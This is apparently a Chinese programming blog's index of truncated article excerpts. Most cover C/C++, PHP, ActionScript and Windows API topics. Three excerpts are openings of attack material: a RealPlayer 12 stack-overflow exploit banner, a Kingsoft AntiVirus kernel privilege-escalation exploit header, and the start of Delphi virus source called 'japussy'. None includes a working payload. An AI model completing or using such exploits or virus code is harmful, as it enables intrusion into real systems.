摘要:走出C语言教与学的误区前言笔者从事软件开发已26年,用C语言编写有实际用途的程序(绝不是教科书或技术手册上的例子)也有20年了。进入高校讲授C程序设计10年以来,起初感觉有些不太对劲,随后,越来越觉得国内高校C语言教与学存在着许多问题。早就萌发写篇文章,以表己见的念头。但因终日忙于学习、探索,并将所学所教理论付诸实践,以求印证,进而真正理解,以利于教学,力免误人子弟,而无暇于笔砚之间。今逢C语言精品课程建设之际,又受领导指派,故斗胆提笔,不妥之处,望方家斧正。此处要声明三点。其一:笔者从未有想过,通过发表本文为本人捞取某种资本。那么,笔者在干扰了自己正常学习、研究的情况下,写此文章的目的到底是
阅读全文
摘要:很多软件运行时会在系统托盘区(就是桌面右下角显示时间的区域)出现一个小图标,它作为程序运行的一个标志,我们可以通过使用小图标所弹出的菜单来控制应用程序的状态。本例就给出了一个功能比较完整的托盘程序,我们可以看到怎样用API函数Shell_NotifyIcon来添加、删除、更改托盘图标;而且例中还演示了为托盘图标添加右键菜单和浮动提示的方法。 程序(附后)用到了Shell_NotifyIcon、SendMessage、CallWindowProc、SetWindowLong等API函数,其中Shell_NotifyIcon是主要的函数,它用来添加、删除、更改系统托盘区(taskbar sta..
阅读全文
摘要:$_SERVER['PHP_SELF'] 函数用法 #当前正在执行脚本的文件名,与 document root相关。 $_SERVER['argv'] 函数用法 #传递给该脚本的参数。 $_SERVER['argc'] 函数用法 #包含传递给程序的命令行参数的个数(如果运行在命令行模式)。 $_SERVER['GATEWAY_INTERFACE'] 函数用法 #服务器使用的 CGI 规范的版本。例如,“CGI/1.1”。 $_SERVER['SERVER_NAME'] 函数用法 #当前运行脚本所在服务器主机的名称。
阅读全文
摘要:原文:http://www.cmx8.cn/curl.html使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本,然后分析一下你所抓取的网 页,然后就可以以程序的方式得到你想要的数据了。无论是你想从从一个链接上取部分数据,或是取一个XML文件并把其导入数据库,那怕就是简单的获取网页内 容,cURL 是一个功能强大的PHP库。PHP中的CURL函数库(Client URL Library Function)curl_close — 关闭一个curl会话curl_copy_handle — 拷贝一个curl连接资源的所有内容和参数curl_errno — 返回一个包含当前会话错误
阅读全文
摘要:第一种 不传参 直接读取PHP文件btn.addEventListener(MouseEvent.CLICK,loadTxt);function loadTxt(evt:MouseEvent):void{ var urlLoader:URLLoader=new URLLoader(); urlLoader.dataFormat=URLLoaderDataFormat.VARIABLES; urlLoader.load(new URLRequest("http://localhost/as3/url2.php")); urlLoader.addEventListener(Ev
阅读全文
摘要:引言 指针是C/C++语言的特色,而数组名与指针有太多的相似,甚至很多时候,数组名可以作为指针使用。于是乎,很多程序设计者就被搞糊涂了。而许多的大学老师,他们在C语言的教学过程中也错误得给学生讲解:"数组名就是指针"。很幸运,我的大学老师就是其中之一。时至今日,我日复一日地进行着C/C++项目的开发,而身边还一直充满这样的程序员,他们保留着"数组名就是指针"的误解。 想必这种误解的根源在于国内某著名的C程序设计教程。如果这篇文章能够纠正许多中国程序员对数组名和指针的误解,笔者就不甚欣慰了。借此文,笔者站在无数对知识如饥似渴的中国程序员之中,深深寄希望于国
阅读全文
摘要:在C++中,内存分成5个区,他们分别是堆、栈、自由存储区、全局/静态存储区和常量存储区。 栈,就是那些由编译器在需要的时候分配,在不需要的时候自动清楚的变量的存储区。里面的变量通常是局部变量、函数参数等。 堆,就是那些由new分配的内存块,他们的释放编译器不去管,由我们的应用程序去控制,一般一个new就要对应一个delete。如果程序员没有释放掉,那么在程序结束后,操作系统会自动回收。 自由存储区,就是那些由malloc等分配的内存块,他和堆是十分相似的,不过它是用free来结束自己的生命的。 全局/静态存储区,全局变量和静态变量被分配到同一块内存中,在以前的C语言中,全局变...
阅读全文
摘要:原文地址:http://www.cppblog.com/fwxjj/archive/2007/01/25/17996.html 多态性 (polymorphism) 是面向对象编程的基本特征之一。而在C++ 中,多态性通过虚函数 (virtual function) 来实现。我们来看一段简单的代码:#include<iostream>usingnamespacestd;classBase{ inta;public: virtualvoidfun1(){cout<<"Base::fun1()"<<endl;} virtualvoidfun2
阅读全文
摘要:====================================RealPlayer 12.0.1.660 Stack Overflow====================================#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0#0 _ __ __ __ 1#1 /' \ __ /'__`\ /\ \__ /'__`\ 0#0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1#1 \/_
阅读全文
摘要:Kingsoft AntiVirus 2012 KisKrnl.sys <= 2011.7.8.913 Local Kernel Mode Privilege Escalation Exploit# Date: 2011-7-23# Author : MJ0011# Version: Kingsoft AntiVirus 2012# Tested on: Windows XP SP3DETAILS:In KisKrnl.sys 's hook function of "NtQueryValueKey" , it directly write to the bu
阅读全文
摘要:删除所有的.svn文件夹删除所有的.svn文件夹 工作中要把一个项目迁移到另外的svn目录中,遇到一个问题,需要先把原来的.svn删除,然后再增加到新的svn中,开始手动删除,但是发现太耗时耗力了,网上搜了几种删除的方法,自己都试了一遍,总结了一下,写出来备忘。一、在Dos窗口中运行如下命令for /r <你项目的路径> %i in (.svn) do rd /s /q %i二、将“Delete SVN Folders”操作添加到右击菜单中建立一个文本文件,名称随意,后缀为.reg,内容如下:view sourceprint?Windows Registry Editor Vers
阅读全文
摘要:program japussy; uses windows, sysutils, classes, graphics, shellapi{, registry};ct headersize = 82432; //病毒体的大小 iconoffset = $12eb8; //pe文件主图标的偏移量 //在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量
阅读全文
摘要:CListCtrl使用技巧以下未经说明,listctrl默认view 风格为report1. CListCtrl 风格 LVS_ICON: 为每个item显示大图标 LVS_SMALLICON: 为每个item显示小图标 LVS_LIST: 显示一列带有小图标的item LVS_REPORT: 显示item详细资料 直观的理解:windows资源管理器,“查看”标签下的“大图标,小图标,列表,详细资料”2. 设置listctrl 风格及扩展风格 LONG lStyle; lStyle = GetWindowLong(m_list.m_hWnd, GWL_STYLE);//获取当前窗口style
阅读全文